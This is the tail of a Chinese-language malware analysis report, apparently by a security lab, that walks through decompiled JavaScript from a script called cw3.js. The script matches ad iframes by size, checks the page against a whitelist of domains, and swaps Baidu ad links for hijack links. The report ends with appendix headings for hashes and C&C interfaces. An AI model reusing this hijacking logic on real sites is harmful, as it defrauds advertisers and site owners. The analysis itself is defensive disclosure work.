H[M].src.indexOf("duba") > 0) {
continue
}
F(H[M], H[M].offsetWidth, H[M].offsetHeight)
}3. 如果条件匹配,判断第一步准备的广告有没有大小合适的,找到合适大小则将原始链接保存下来:
function F(U, d, T) {
if (t.length == 0) {
return
}
for (var s in t) {
if (t[s][0] == U.offsetWidth && t[s][1] == U.offsetHeight) {
G.push(U)
}
}
}
4. 然后判断当前网站链接是否在它的放过列表中
function e() {
var d = [".hao123.co", ".3567.com", ".www2345.com", ".www9991.com", ".365wz.net", ".2345.net", ".2345.org", ".77816.com", ".365wz.com", ".hao184.com", ".d1wz.com", ".to128.com", ".42.62.30.178", ".42.62.30.180", ".2345soso.com", ".2345kankan.com", ".ku118.com", ".hh361.com", ".v2233.com", ".ie567.com", ".2345ii.com", ".kuku2.com", ".yes115.com", ".kabasiji.com", ".5599.net", ".te99.com", ".duote.com.cn", ".duote.net", ".51ct.cn", ".zhangyu.com", ".537.com", ".cc62.com", ".cn220.com", ".k986.com", ".555k.net", ".wzeh.com", ".yl234.com", ".2345download.com", ".g3456.com", ".duote.com", ".duote.cn", ".9991.com", ".50bang.org", ".2345.com.cn", ".duote.org", ".haozip.com", ".2345.com", ".2345.cn", ".tt5000.com", ".4585.com", ".728.com", ".game56.com", ".fa3000.com", ".yy5000.com", ".777ge.com", ".hao774.com"];
var T = location.hostname;
for (var s = 0; s < d.length; s++) {
if (T.indexOf(d[s]) > 0) {
return true
}
}
var U = ["hao123.co", "3567.com", "www2345.com", "www9991.com", "365wz.net", "2345.net", "2345.org", "77816.com", "365wz.com", "hao184.com", "d1wz.com", "to128.com", "42.62.30.178", "42.62.30.180", "2345soso.com", "2345kankan.com", "ku118.com", "hh361.com", "v2233.com", "ie567.com", "2345ii.com", "kuku2.com", "yes115.com", "kabasiji.com", "5599.net", "te99.com", "duote.com.cn", "duote.net", "51ct.cn", "zhangyu.com", "537.com", "cc62.com", "cn220.com", "k986.com", "555k.net", "wzeh.com", "yl234.com", "2345download.com", "g3456.com", "duote.com", "duote.cn", "9991.com", "50bang.org", "2345.com.cn", "duote.org", "haozip.com", "2345.com", "2345.cn", "tt5000.com", "4585.com", "728.com", "game56.com", "fa3000.com", "yy5000.com", "777ge.com", "hao774.com"];
for (var s = 0; s < U.length; s++) {
if (T == U[s]) {
return true
}
}
return false
}
5. 如果不在放过列表中,”cw3.js”劫持时用第一步中保存跳转链接替换原始的广告链接,达到劫持百度网盟广告的目的:
d.addChildAdTask = function() {
d.CurrentDisplayAd = d.OldAd.cloneNode(true);
d.CurrentDisplayAd.setAttribute("src", d.AdSrc);
if (d.OldAd == null) {
return
}
var i = q(d.OldAd);
if (i) {
d.CurrentDisplayAd.style.display = "none";
d.ParentContainer.appendChild(d.CurrentDisplayAd);
setTimeout(function() {
d.removeFadeOut(d.OldAd)
}, 3000)
} else {
d.OldAd.setAttribute("src", d.AdSrc)
}
};
图 59、cw3.js劫持流程
五、 附录
1. 恶意代码攻击时间线
图 60、时间线
另外,火绒安全实验室还在服务器上发现其他版本的恶意代码释放器,但是在实验室环境中并没有发现这些释放器何时被使用。
2. 全部样本HASH和C&C服务器指令接口
2.1 样本HASH
2 C&C服务器指令接口